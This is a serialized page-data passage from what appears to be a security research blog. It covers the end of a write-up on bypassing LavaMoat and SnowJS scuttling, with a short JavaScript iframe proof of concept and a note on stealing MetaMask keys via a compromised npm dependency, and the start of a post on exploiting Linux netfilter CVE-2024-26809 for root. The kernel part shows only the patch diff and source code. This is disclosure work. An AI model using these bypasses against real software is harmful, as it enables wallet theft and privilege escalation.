srcdoc=\"aaa\">');\n",[49078],{"type":23,"tag":56,"props":49079,"children":49080},{"__ignoreMap":7},[49081],{"type":23,"tag":504,"props":49082,"children":49083},{"class":506,"line":507},[49084,49088,49092,49097,49101,49106,49110,49114,49118,49123],{"type":23,"tag":504,"props":49085,"children":49086},{"style":529},[49087],{"type":28,"value":31685},{"type":23,"tag":504,"props":49089,"children":49090},{"style":523},[49091],{"type":28,"value":320},{"type":23,"tag":504,"props":49093,"children":49094},{"style":517},[49095],{"type":28,"value":49096},"execCommand",{"type":23,"tag":504,"props":49098,"children":49099},{"style":523},[49100],{"type":28,"value":526},{"type":23,"tag":504,"props":49102,"children":49103},{"style":622},[49104],{"type":28,"value":49105},"'insertHTML'",{"type":23,"tag":504,"props":49107,"children":49108},{"style":523},[49109],{"type":28,"value":576},{"type":23,"tag":504,"props":49111,"children":49112},{"style":511},[49113],{"type":28,"value":7158},{"type":23,"tag":504,"props":49115,"children":49116},{"style":523},[49117],{"type":28,"value":576},{"type":23,"tag":504,"props":49119,"children":49120},{"style":622},[49121],{"type":28,"value":49122},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":23,"tag":504,"props":49124,"children":49125},{"style":523},[49126],{"type":28,"value":630},{"type":23,"tag":82,"props":49128,"children":49130},{"id":49129},"impact-on-lavamoat-scuttling",[49131],{"type":28,"value":49132},"Impact On Lavamoat Scuttling",{"type":23,"tag":24,"props":49134,"children":49135},{},[49136],{"type":28,"value":49137},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":23,"tag":24,"props":49139,"children":49140},{},[49141,49143,49148,49150,49155],{"type":28,"value":49142},"For the exploit, the only used functions are in ",{"type":23,"tag":56,"props":49144,"children":49146},{"className":49145},[],[49147],{"type":28,"value":31685},{"type":28,"value":49149}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":23,"tag":56,"props":49151,"children":49153},{"className":49152},[],[49154],{"type":28,"value":36394},{"type":28,"value":49156}," object.",{"type":23,"tag":24,"props":49158,"children":49159},{},[49160,49162,49167],{"type":28,"value":49161},"Consider this example, which runs a scuttled ",{"type":23,"tag":56,"props":49163,"children":49165},{"className":49164},[],[49166],{"type":28,"value":31675},{"type":28,"value":24448},{"type":23,"tag":494,"props":49169,"children":49171},{"className":496,"code":49170,"language":498,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[49172],{"type":23,"tag":56,"props":49173,"children":49174},{"__ignoreMap":7},[49175,49211,49248,49291],{"type":23,"tag":504,"props":49176,"children":49177},{"class":506,"line":507},[49178,49182,49186,49190,49194,49198,49202,49207],{"type":23,"tag":504,"props":49179,"children":49180},{"style":529},[49181],{"type":28,"value":31685},{"type":23,"tag":504,"props":49183,"children":49184},{"style":523},[49185],{"type":28,"value":320},{"type":23,"tag":504,"props":49187,"children":49188},{"style":529},[49189],{"type":28,"value":31377},{"type":23,"tag":504,"props":49191,"children":49192},{"style":523},[49193],{"type":28,"value":320},{"type":23,"tag":504,"props":49195,"children":49196},{"style":529},[49197],{"type":28,"value":33948},{"type":23,"tag":504,"props":49199,"children":49200},{"style":598},[49201],{"type":28,"value":648},{"type":23,"tag":504,"props":49203,"children":49204},{"style":622},[49205],{"type":28,"value":49206}," \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\"",{"type":23,"tag":504,"props":49208,"children":49209},{"style":523},[49210],{"type":28,"value":866},{"type":23,"tag":504,"props":49212,"children":49213},{"class":506,"line":540},[49214,49218,49222,49226,49230,49235,49239,49244],{"type":23,"tag":504,"props":49215,"children":49216},{"style":529},[49217],{"type":28,"value":31685},{"type":23,"tag":504,"props":49219,"children":49220},{"style":523},[49221],{"type":28,"value":320},{"type":23,"tag":504,"props":49223,"children":49224},{"style":517},[49225],{"type":28,"value":33973},{"type":23,"tag":504,"props":49227,"children":49228},{"style":523},[49229],{"type":28,"value":526},{"type":23,"tag":504,"props":49231,"children":49232},{"style":622},[49233],{"type":28,"value":49234},"'test'",{"type":23,"tag":504,"props":49236,"children":49237},{"style":523},[49238],{"type":28,"value":270},{"type":23,"tag":504,"props":49240,"children":49241},{"style":517},[49242],{"type":28,"value":49243},"focus",{"type":23,"tag":504,"props":49245,"children":49246},{"style":523},[49247],{"type":28,"value":2647},{"type":23,"tag":504,"props":49249,"children":49250},{"class":506,"line":555},[49251,49255,49259,49263,49267,49271,49275,49279,49283,49287],{"type":23,"tag":504,"props":49252,"children":49253},{"style":529},[49254],{"type":28,"value":31685},{"type":23,"tag":504,"props":49256,"children":49257},{"style":523},[49258],{"type":28,"value":320},{"type":23,"tag":504,"props":49260,"children":49261},{"style":517},[49262],{"type":28,"value":49096},{"type":23,"tag":504,"props":49264,"children":49265},{"style":523},[49266],{"type":28,"value":526},{"type":23,"tag":504,"props":49268,"children":49269},{"style":622},[49270],{"type":28,"value":49105},{"type":23,"tag":504,"props":49272,"children":49273},{"style":523},[49274],{"type":28,"value":576},{"type":23,"tag":504,"props":49276,"children":49277},{"style":511},[49278],{"type":28,"value":7158},{"type":23,"tag":504,"props":49280,"children":49281},{"style":523},[49282],{"type":28,"value":576},{"type":23,"tag":504,"props":49284,"children":49285},{"style":622},[49286],{"type":28,"value":49122},{"type":23,"tag":504,"props":49288,"children":49289},{"style":523},[49290],{"type":28,"value":630},{"type":23,"tag":504,"props":49292,"children":49293},{"class":506,"line":633},[49294,49298,49302,49307,49311,49315,49320,49324,49329,49334,49338,49342,49346,49350,49354,49358],{"type":23,"tag":504,"props":49295,"children":49296},{"style":529},[49297],{"type":28,"value":31685},{"type":23,"tag":504,"props":49299,"children":49300},{"style":523},[49301],{"type":28,"value":320},{"type":23,"tag":504,"props":49303,"children":49304},{"style":517},[49305],{"type":28,"value":49306},"getElementsByTagName",{"type":23,"tag":504,"props":49308,"children":49309},{"style":523},[49310],{"type":28,"value":526},{"type":23,"tag":504,"props":49312,"children":49313},{"style":622},[49314],{"type":28,"value":35707},{"type":23,"tag":504,"props":49316,"children":49317},{"style":523},[49318],{"type":28,"value":49319},")[",{"type":23,"tag":504,"props":49321,"children":49322},{"style":1440},[49323],{"type":28,"value":3001},{"type":23,"tag":504,"props":49325,"children":49326},{"style":523},[49327],{"type":28,"value":49328},"].",{"type":23,"tag":504,"props":49330,"children":49331},{"style":529},[49332],{"type":28,"value":49333},"contentWindow",{"type":23,"tag":504,"props":49335,"children":49336},{"style":523},[49337],{"type":28,"value":320},{"type":23,"tag":504,"props":49339,"children":49340},{"style":517},[49341],{"type":28,"value":31675},{"type":23,"tag":504,"props":49343,"children":49344},{"style":523},[49345],{"type":28,"value":526},{"type":23,"tag":504,"props":49347,"children":49348},{"style":529},[49349],{"type":28,"value":31685},{"type":23,"tag":504,"props":49351,"children":49352},{"style":523},[49353],{"type":28,"value":320},{"type":23,"tag":504,"props":49355,"children":49356},{"style":529},[49357],{"type":28,"value":31695},{"type":23,"tag":504,"props":49359,"children":49360},{"style":523},[49361],{"type":28,"value":630},{"type":23,"tag":82,"props":49363,"children":49365},{"id":49364},"snowjs-patch",[49366],{"type":28,"value":49367},"SnowJS Patch",{"type":23,"tag":24,"props":49369,"children":49370},{},[49371,49373,49380,49382,49389],{"type":28,"value":49372},"Metamask is working on conceptual changes and aiming to integrate SnowJS as a ",{"type":23,"tag":92,"props":49374,"children":49377},{"href":49375,"rel":49376},"https://www.w3.org/2023/03/secure-the-web-forward/talks/realms.html#talk",[96],[49378],{"type":28,"value":49379},"browser feature within W3C standards",{"type":28,"value":49381},", with the intention of addressing not only this issue, but also all other well-known issues with SnowJS. ",{"type":23,"tag":92,"props":49383,"children":49386},{"href":49384,"rel":49385},"https://github.com/weizman/Realms-Initialization-Control",[96],[49387],{"type":28,"value":49388},"Here",{"type":28,"value":49390}," is their new proposal.",{"type":23,"tag":70,"props":49392,"children":49394},{"id":49393},"chaining-the-impacts",[49395],{"type":28,"value":49396},"Chaining The Impacts",{"type":23,"tag":24,"props":49398,"children":49399},{},[49400],{"type":28,"value":49401},"We were able to find two vulnerabilities in lavamoat project:",{"type":23,"tag":41,"props":49403,"children":49404},{},[49405,49410],{"type":23,"tag":45,"props":49406,"children":49407},{},[49408],{"type":28,"value":49409},"Policy File Bypass",{"type":23,"tag":45,"props":49411,"children":49412},{},[49413],{"type":28,"value":49414},"Scuttling Bypass",{"type":23,"tag":24,"props":49416,"children":49417},{},[49418],{"type":28,"value":49419},"By combining the exploits, it is possible to completely bypass lavamoat supply-chain protections using a compromised dependency.",{"type":23,"tag":24,"props":49421,"children":49422},{},[49423],{"type":28,"value":49424},"Using Metamask as an example, these exploits could be used to retrieve the encrypted keypair in extension storage. The only precondition would be compromising a NPM dependency.",{"type":23,"tag":70,"props":49426,"children":49427},{"id":1800},[49428],{"type":28,"value":1803},{"type":23,"tag":24,"props":49430,"children":49431},{},[49432],{"type":28,"value":49433},"The vulnerability within the Lavapack module sandboxing, along with the issues we discussed regarding SnowJs and the Scuttling feature, illustrate the complexities of mitigating supply chain attacks within the JavaScript ecosystem. While the lavapack release with a mitigation was available in under two days, the inherent complexity makes designing robust security implementations a challenging task.",{"type":23,"tag":30327,"props":49435,"children":49436},{"style":30329},[49437],{"type":23,"tag":126,"props":49438,"children":49441},{"src":49439,"alt":49440,"style":30335},"/posts/supply-chain-attacks-a-new-era/hello-otter.gif","Hello Otetr",[],{"type":23,"tag":17402,"props":49443,"children":49445},{"className":49444,"dataFootnotes":7},[17405],[49446,49451],{"type":23,"tag":70,"props":49447,"children":49449},{"className":49448,"id":14461},[17410],[49450],{"type":28,"value":17413},{"type":23,"tag":41,"props":49452,"children":49453},{},[49454],{"type":23,"tag":45,"props":49455,"children":49456},{"id":29348},[49457,49459,49466,49467],{"type":28,"value":49458},"Excluding SES, which was covered ",{"type":23,"tag":92,"props":49460,"children":49463},{"href":49461,"rel":49462},"https://osec.io/blog/2023-11-01-metamask-snaps",[96],[49464],{"type":28,"value":49465},"in our last article",{"type":28,"value":5441},{"type":23,"tag":92,"props":49468,"children":49470},{"href":29376,"ariaLabel":17516,"className":49469,"dataFootnoteBackref":7},[17518],[49471],{"type":28,"value":17521},{"type":23,"tag":1815,"props":49473,"children":49474},{},[49475],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":49477},[49478,49482,49488,49494,49495,49496],{"id":17937,"depth":540,"text":17940,"children":49479},[49480,49481],{"id":27996,"depth":555,"text":27999},{"id":46100,"depth":555,"text":46103},{"id":46856,"depth":540,"text":46859,"children":49483},[49484,49485,49486,49487],{"id":47107,"depth":555,"text":47110},{"id":47581,"depth":555,"text":47584},{"id":48238,"depth":555,"text":48241},{"id":48361,"depth":555,"text":48364},{"id":48479,"depth":540,"text":48482,"children":49489},[49490,49491,49492,49493],{"id":48607,"depth":555,"text":48610},{"id":48969,"depth":555,"text":48972},{"id":49129,"depth":555,"text":49132},{"id":49364,"depth":555,"text":49367},{"id":49393,"depth":540,"text":49396},{"id":1800,"depth":540,"text":1803},{"id":14461,"depth":540,"text":17413},"content:blog:2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era.md","blog/2024-06-10-supply-chain-attacks-a-new-era",{"_path":49501,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":49502,"description":49503,"author":49504,"image":49505,"date":49507,"isFeatured":16,"tags":49508,"onBlogPage":16,"body":49511,"_type":1838,"_id":59889,"_source":1840,"_file":59890,"_stem":59891,"_extension":1843},"/blog/2024-11-25-netfilter-universal-root-1-day","OtterRoot: Netfilter Universal Root 1-day","A peek into the state of Linux kernel security and the open-source patch-gap. We explore how we monitored commits to find new bug fixes and achieved 0day-like capabilities by exploiting a 1-day vulnerability.","pedro",{"src":49506,"height":8247,"width":4706},"/posts/netfilter-universal-root-1-day/cover.png","2024-11-25",[49509,49510],"kernal","linux",{"type":20,"children":49512,"toc":59857},[49513,49526,49540,49545,49551,49560,49565,49571,49576,49594,49608,49617,49650,49655,49661,49680,49713,49719,49732,49942,50009,50572,50591,50816,50875,50881,50901,50941,51129,51134,51285,51341,51346,51860,51879,52148,52174,52683,52750,52756,52792,52797,53063,53096,53108,53135,53147,53152,53158,53179,53185,53206,53229,54061,54067,54107,54647,54658,54692,54759,54813,55045,55051,55095,55559,55565,55576,55606,55689,55694,55699,55735,55787,55818,56373,56379,56396,56402,56407,56413,56441,56634,56654,56670,57265,57271,57306,57329,57341,57347,57375,57971,57996,58965,58976,58989,59002,59768,59782,59788,59800,59806,59834,59839,59843,59848,59853],{"type":23,"tag":24,"props":49514,"children":49515},{},[49516,49518,49525],{"type":28,"value":49517},"In late March, I attempted to monitor commits in Linux kernel subsystems that are hotspots for exploitable bugs, partially as an experiment to study how feasible it is to maintain LPE/container escape capabilities by patch-gapping/cycling 1-days, but also to submit to the ",{"type":23,"tag":92,"props":49519,"children":49522},{"href":49520,"rel":49521},"https://google.github.io/security-research/kernelctf/rules.html",[96],[49523],{"type":28,"value":49524},"KernelCTF VRP",{"type":28,"value":320},{"type":23,"tag":24,"props":49527,"children":49528},{},[49529,49531,49538],{"type":28,"value":49530},"During the research, I quickly came across an exploitable bug fixed in netfilter, which was labeled CVE-2024-26809 (originally discovered by ",{"type":23,"tag":92,"props":49532,"children":49535},{"href":49533,"rel":49534},"https://github.com/conlonialC",[96],[49536],{"type":28,"value":49537},"lonial con",{"type":28,"value":49539},") and was able to exploit it in the KernelCTF LTS instance and write a universal exploit that runs across different kernel builds without the need to recompile with different symbols or ROP gadgets.",{"type":23,"tag":24,"props":49541,"children":49542},{},[49543],{"type":28,"value":49544},"In this post, I'll discuss how I exploited a 1day to obtain 0day-like LPE/container escape capabilities for around two months by quickly abusing the patch-gap to write an exploit before the fix could go downstream. I'll also share my journey analyzing the patch to understand the bug, isolate the commit(s) that introduced it, exploit it in the KernelCTF VRP, and, finally, how I developed a universal exploit to target mainstream distros.",{"type":23,"tag":70,"props":49546,"children":49548},{"id":49547},"the-kernel",[49549],{"type":28,"value":49550},"The kernel",{"type":23,"tag":24,"props":49552,"children":49553},{},[49554,49556],{"type":28,"value":49555},"The kernel lies at the very core of an OS; its purpose is not to be a regular application but to create a platform that applications can run on top of. The kernel touches hardware directly to implement everything you can expect from your OS, such as user isolation and permissions, networking, filesystem access, memory management, task scheduling, etc.\n⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀",{"type":23,"tag":126,"props":49557,"children":49559},{"alt":128,"src":49558},"/posts/netfilter-universal-root-1-day/kernal.png",[],{"type":23,"tag":24,"props":49561,"children":49562},{},[49563],{"type":28,"value":49564},"The kernel exposes an interface that user applications can use to request things they can't do directly (e.g. map some memory to my process' virtual address space, expose some file to my process, open a network socket, etc.). This is called the syscall interface, the main form of passing data from userspace to kernelspace.",{"type":23,"tag":82,"props":49566,"children":49568},{"id":49567},"kernel-exploitation",[49569],{"type":28,"value":49570},"Kernel exploitation",{"type":23,"tag":24,"props":49572,"children":49573},{},[49574],{"type":28,"value":49575},"As the kernel processes requests passed by user applications, it is subject to bugs and security vulnerabilities just as any code would, ranging from logic issues to memory corruptions that attackers can use to hijack the execution in kernel context or escalate privileges in some other way. With that in mind, we can expect the typical kernel exploit to look like this:",{"type":23,"tag":350,"props":49577,"children":49578},{},[49579,49584,49589],{"type":23,"tag":45,"props":49580,"children":49581},{},[49582],{"type":28,"value":49583},"Trigger some memory corruption in some kernel subsystem",{"type":23,"tag":45,"props":49585,"children":49586},{},[49587],{"type":28,"value":49588},"Use it to acquire some stronger primitive (Control-flow, Arb R/W, etc.)",{"type":23,"tag":45,"props":49590,"children":49591},{},[49592],{"type":28,"value":49593},"Use your current primitive to escalate your privileges (usually by changing the creds of your process or something with similar consequences)",{"type":23,"tag":24,"props":49595,"children":49596},{},[49597,49599,49606],{"type":28,"value":49598},"I strongly recommend reading Lkmidas' Intro to Kernel Exploitation ",{"type":23,"tag":92,"props":49600,"children":49603},{"href":49601,"rel":49602},"https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/",[96],[49604],{"type":28,"value":49605},"blog post",{"type":28,"value":49607}," to become more familiar with the topic.",{"type":23,"tag":70,"props":49609,"children":49611},{"id":49610},"nf_tables",[49612],{"type":23,"tag":56,"props":49613,"children":49615},{"className":49614},[],[49616],{"type":28,"value":49610},{"type":23,"tag":24,"props":49618,"children":49619},{},[49620,49625,49627,49633,49634,49640,49642,49648],{"type":23,"tag":56,"props":49621,"children":49623},{"className":49622},[],[49624],{"type":28,"value":49610},{"type":28,"value":49626}," is a component of the netfilter subsystem of the Linux kernel. It is a package filtering mechanism, and it's the current backend used by tools like iptables and Firewalld. Its internals have been thoroughly discussed by other researchers ",{"type":23,"tag":92,"props":49628,"children":49631},{"href":49629,"rel":49630},"https://pwning.tech/nftables",[96],[49632],{"type":28,"value":2991},{"type":28,"value":576},{"type":23,"tag":92,"props":49635,"children":49638},{"href":49636,"rel":49637},"https://starlabs.sg/blog/2023/09-nftables-adventures-bug-hunting-and-n-day-exploitation",[96],[49639],{"type":28,"value":2100},{"type":28,"value":49641},". I recommend reading those briefly to understand the hierarchical structure of ",{"type":23,"tag":56,"props":49643,"children":49645},{"className":49644},[],[49646],{"type":28,"value":49647},"nf_table",{"type":28,"value":49649}," objects and how we can manipulate them to create configurable filtering mechanisms.",{"type":23,"tag":24,"props":49651,"children":49652},{},[49653],{"type":28,"value":49654},"For the sake of this blog post I'll omit any details that are not directly related to the vulnerability.",{"type":23,"tag":82,"props":49656,"children":49658},{"id":49657},"transactions",[49659],{"type":28,"value":49660},"Transactions",{"type":23,"tag":24,"props":49662,"children":49663},{},[49664,49666,49671,49673,49678],{"type":28,"value":49665},"A transaction is an interaction that updates ",{"type":23,"tag":56,"props":49667,"children":49669},{"className":49668},[],[49670],{"type":28,"value":49610},{"type":28,"value":49672}," objects/state. It's roughly composed of a batch of operations that modify some ",{"type":23,"tag":56,"props":49674,"children":49676},{"className":49675},[],[49677],{"type":28,"value":49610},{"type":28,"value":49679}," object (adding/removing/editing tables, sets, elements, objects, etc). They are roughly composed of 3 different passes:",{"type":23,"tag":350,"props":49681,"children":49682},{},[49683,49693,49703],{"type":23,"tag":45,"props":49684,"children":49685},{},[49686,49691],{"type":23,"tag":296,"props":49687,"children":49688},{},[49689],{"type":28,"value":49690},"Control plane",{"type":28,"value":49692},"\nPrepare each operation, and if some fail, abort the whole batch; otherwise, commit the entire batch.",{"type":23,"tag":45,"props":49694,"children":49695},{},[49696,49701],{"type":23,"tag":296,"props":49697,"children":49698},{},[49699],{"type":28,"value":49700},"Commit path",{"type":28,"value":49702},"\nAfter the control plane, if all succeed, we apply the changes (effectively modify tables, sets, etc.).",{"type":23,"tag":45,"props":49704,"children":49705},{},[49706,49711],{"type":23,"tag":296,"props":49707,"children":49708},{},[49709],{"type":28,"value":49710},"Abort path",{"type":28,"value":49712},"\nOnly triggered when some error condition is detected in the control plane; undo actions done during the control plane and skip commitment.",{"type":23,"tag":70,"props":49714,"children":49716},{"id":49715},"vulnerability-details",[49717],{"type":28,"value":49718},"Vulnerability details",{"type":23,"tag":24,"props":49720,"children":49721},{},[49722,49724,49730],{"type":28,"value":49723},"Moving on, let's check out the ",{"type":23,"tag":92,"props":49725,"children":49728},{"href":49726,"rel":49727},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b0e256f3dd2ba6532f37c5c22e07cb07a36031ee",[96],[49729],{"type":28,"value":3206},{"type":28,"value":49731}," that fixed the bug.",{"type":23,"tag":494,"props":49733,"children":49735},{"className":39334,"code":49734,"language":39336,"meta":7,"style":7},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\nindex c0ceea068936a6..df8de509024637 100644\n--- a/net/netfilter/nft_set_pipapo.c\n+++ b/net/netfilter/nft_set_pipapo.c\n@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n\n        m = rcu_dereference_protected(priv->match, true);\n\n  if (m) {\n   rcu_barrier();\n \n-  nft_set_pipapo_match_destroy(ctx, set, m);\n-\n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(m, cpu);\n   free_percpu(m->scratch);\n@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n  if (priv->clone) {\n   m = priv->clone;\n \n-  if (priv->dirty)\n-   nft_set_pipapo_match_destroy(ctx, set, m);\n+  nft_set_pipapo_match_destroy(ctx, set, m);\n \n   for_each_possible_cpu(cpu)\n    pipapo_free_scratch(priv->clone, cpu);\n",[49736],{"type":23,"tag":56,"props":49737,"children":49738},{"__ignoreMap":7},[49739,49747,49755,49763,49771,49779,49786,49794,49801,49809,49817,49825,49833,49841,49849,49857,49865,49873,49881,49889,49896,49904,49912,49920,49927,49934],{"type":23,"tag":504,"props":49740,"children":49741},{"class":506,"line":507},[49742],{"type":23,"tag":504,"props":49743,"children":49744},{"style":511},[49745],{"type":28,"value":49746},"diff --git a/net/netfilter/nft_set_pipapo.c b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":504,"props":49748,"children":49749},{"class":506,"line":540},[49750],{"type":23,"tag":504,"props":49751,"children":49752},{"style":523},[49753],{"type":28,"value":49754},"index c0ceea068936a6..df8de509024637 100644\n",{"type":23,"tag":504,"props":49756,"children":49757},{"class":506,"line":555},[49758],{"type":23,"tag":504,"props":49759,"children":49760},{"style":511},[49761],{"type":28,"value":49762},"--- a/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":504,"props":49764,"children":49765},{"class":506,"line":633},[49766],{"type":23,"tag":504,"props":49767,"children":49768},{"style":511},[49769],{"type":28,"value":49770},"+++ b/net/netfilter/nft_set_pipapo.c\n",{"type":23,"tag":504,"props":49772,"children":49773},{"class":506,"line":687},[49774],{"type":23,"tag":504,"props":49775,"children":49776},{"style":523},[49777],{"type":28,"value":49778},"@@ -2329,8 +2329,6 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":504,"props":49780,"children":49781},{"class":506,"line":736},[49782],{"type":23,"tag":504,"props":49783,"children":49784},{"emptyLinePlaceholder":16},[49785],{"type":28,"value":1038},{"type":23,"tag":504,"props":49787,"children":49788},{"class":506,"line":785},[49789],{"type":23,"tag":504,"props":49790,"children":49791},{"style":523},[49792],{"type":28,"value":49793},"        m = rcu_dereference_protected(priv->match, true);\n",{"type":23,"tag":504,"props":49795,"children":49796},{"class":506,"line":813},[49797],{"type":23,"tag":504,"props":49798,"children":49799},{"emptyLinePlaceholder":16},[49800],{"type":28,"value":1038},{"type":23,"tag":504,"props":49802,"children":49803},{"class":506,"line":851},[49804],{"type":23,"tag":504,"props":49805,"children":49806},{"style":523},[49807],{"type":28,"value":49808},"  if (m) {\n",{"type":23,"tag":504,"props":49810,"children":49811},{"class":506,"line":869},[49812],{"type":23,"tag":504,"props":49813,"children":49814},{"style":523},[49815],{"type":28,"value":49816},"   rcu_barrier();\n",{"type":23,"tag":504,"props":49818,"children":49819},{"class":506,"line":878},[49820],{"type":23,"tag":504,"props":49821,"children":49822},{"style":523},[49823],{"type":28,"value":49824}," \n",{"type":23,"tag":504,"props":49826,"children":49827},{"class":506,"line":1221},[49828],{"type":23,"tag":504,"props":49829,"children":49830},{"style":622},[49831],{"type":28,"value":49832},"-  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":504,"props":49834,"children":49835},{"class":506,"line":1276},[49836],{"type":23,"tag":504,"props":49837,"children":49838},{"style":622},[49839],{"type":28,"value":49840},"-\n",{"type":23,"tag":504,"props":49842,"children":49843},{"class":506,"line":1285},[49844],{"type":23,"tag":504,"props":49845,"children":49846},{"style":523},[49847],{"type":28,"value":49848},"   for_each_possible_cpu(cpu)\n",{"type":23,"tag":504,"props":49850,"children":49851},{"class":506,"line":1294},[49852],{"type":23,"tag":504,"props":49853,"children":49854},{"style":523},[49855],{"type":28,"value":49856},"    pipapo_free_scratch(m, cpu);\n",{"type":23,"tag":504,"props":49858,"children":49859},{"class":506,"line":1302},[49860],{"type":23,"tag":504,"props":49861,"children":49862},{"style":523},[49863],{"type":28,"value":49864},"   free_percpu(m->scratch);\n",{"type":23,"tag":504,"props":49866,"children":49867},{"class":506,"line":1311},[49868],{"type":23,"tag":504,"props":49869,"children":49870},{"style":523},[49871],{"type":28,"value":49872},"@@ -2342,8 +2340,7 @@ static void nft_pipapo_destroy(const struct nft_ctx *ctx,\n",{"type":23,"tag":504,"props":49874,"children":49875},{"class":506,"line":1334},[49876],{"type":23,"tag":504,"props":49877,"children":49878},{"style":523},[49879],{"type":28,"value":49880},"  if (priv->clone) {\n",{"type":23,"tag":504,"props":49882,"children":49883},{"class":506,"line":1370},[49884],{"type":23,"tag":504,"props":49885,"children":49886},{"style":523},[49887],{"type":28,"value":49888},"   m = priv->clone;\n",{"type":23,"tag":504,"props":49890,"children":49891},{"class":506,"line":1384},[49892],{"type":23,"tag":504,"props":49893,"children":49894},{"style":523},[49895],{"type":28,"value":49824},{"type":23,"tag":504,"props":49897,"children":49898},{"class":506,"line":1392},[49899],{"type":23,"tag":504,"props":49900,"children":49901},{"style":622},[49902],{"type":28,"value":49903},"-  if (priv->dirty)\n",{"type":23,"tag":504,"props":49905,"children":49906},{"class":506,"line":1400},[49907],{"type":23,"tag":504,"props":49908,"children":49909},{"style":622},[49910],{"type":28,"value":49911},"-   nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":504,"props":49913,"children":49914},{"class":506,"line":1422},[49915],{"type":23,"tag":504,"props":49916,"children":49917},{"style":1440},[49918],{"type":28,"value":49919},"+  nft_set_pipapo_match_destroy(ctx, set, m);\n",{"type":23,"tag":504,"props":49921,"children":49922},{"class":506,"line":1450},[49923],{"type":23,"tag":504,"props":49924,"children":49925},{"style":523},[49926],{"type":28,"value":49824},{"type":23,"tag":504,"props":49928,"children":49929},{"class":506,"line":1463},[49930],{"type":23,"tag":504,"props":49931,"children":49932},{"style":523},[49933],{"type":28,"value":49848},{"type":23,"tag":504,"props":49935,"children":49936},{"class":506,"line":1485},[49937],{"type":23,"tag":504,"props":49938,"children":49939},{"style":523},[49940],{"type":28,"value":49941},"    pipapo_free_scratch(priv->clone, cpu);\n",{"type":23,"tag":24,"props":49943,"children":49944},{},[49945,49947,49953,49954,49960,49962,49968,49970,49976,49978,49983,49985,49991,49993,49999,50001,50007],{"type":28,"value":49946},"If the ",{"type":23,"tag":56,"props":49948,"children":49950},{"className":49949},[],[49951],{"type":28,"value":49952},"priv->dirty",{"type":28,"value":430},{"type":23,"tag":56,"props":49955,"children":49957},{"className":49956},[],[49958],{"type":28,"value":49959},"priv->clone",{"type":28,"value":49961}," variables are set, ",{"type":23,"tag":56,"props":49963,"children":49965},{"className":49964},[],[49966],{"type":28,"value":49967},"nft_set_pipapo_match_destroy()",{"type":28,"value":49969}," is called twice, once with ",{"type":23,"tag":56,"props":49971,"children":49973},{"className":49972},[],[49974],{"type":28,"value":49975},"priv->match",{"type":28,"value":49977}," as an argument, and then again with ",{"type":23,"tag":56,"props":49979,"children":49981},{"className":49980},[],[49982],{"type":28,"value":49959},{"type":28,"value":49984},". Looking at what this function does, we can see that it is iterating over the ",{"type":23,"tag":56,"props":49986,"children":49988},{"className":49987},[],[49989],{"type":28,"value":49990},"setelem",{"type":28,"value":49992},"s of the ",{"type":23,"tag":56,"props":49994,"children":49996},{"className":49995},[],[49997],{"type":28,"value":49998},"set",{"type":28,"value":50000}," and calling ",{"type":23,"tag":56,"props":50002,"children":50004},{"className":50003},[],[50005],{"type":28,"value":50006},"nf_tables_set_elem_destroy()",{"type":28,"value":50008}," for each of them.",{"type":23,"tag":494,"props":50010,"children":50012},{"className":15493,"code":50011,"language":2124,"meta":7,"style":7},"static void nft_set_pipapo_match_destroy(const struct nft_ctx *ctx,\n      const struct nft_set *set,\n      struct nft_pipapo_match *m)\n{\n struct nft_pipapo_field *f;\n int i, r;\n\n for (i = 0, f = m->f; i \u003C m->field_count - 1; i++, f++)\n  ;\n\n for (r = 0; r \u003C f->rules; r++) {\n  struct nft_pipapo_elem *e;\n\n  if (r \u003C f->rules - 1 && f->mt[r + 1].e == f->mt[r].e)\n   continue;\n\n  e = f->mt[r].e;\n\n  nf_tables_set_elem_destroy(ctx, set, &e->priv);\n }\n}\n",[50013],{"type":23,"tag":56,"props":50014,"children":50015},{"__ignoreMap":7},[50016,50063,50091,50117,50124,50145,50158,50165,50262,50270,50277,50332,50353,50360,50462,50474,50481,50517,50524,50558,50565],{"type":23,"tag":504,"props":50017,"children":50018},{"class":506,"line":507},[50019,50024,50029,50034,50038,50042,50046,50051,50055,50059],{"type":23,"tag":504,"props":50020,"children":50021},{"style":511},[50022],{"type":28,"value":50023},"static",{"type":23,"tag":504,"props":50025,"children":50026},{"style":511},[50027],{"type":28,"value":50028}," void",{"type":23,"tag":504,"props":50030,"children":50031},{"style":517},[50032],{"type":28,"value":50033}," nft_set_pipapo_match_destroy",{"type":23,"tag":504,"props":50035,"children":50036},{"style":523},[50037],{"type":28,"value":526},{"type":23,"tag":504,"props":50039,"children":50040},{"style":511},[50041],{"type":28,"value":8635},{"type":23,"tag":504,"props":50043,"children":50044},{"style":511},[50045],{"type":28,"value":20132},{"type":23,"tag":504,"props":50047,"children":50048},{"style":523},[50049],{"type":28,"value":50050}," nft_ctx 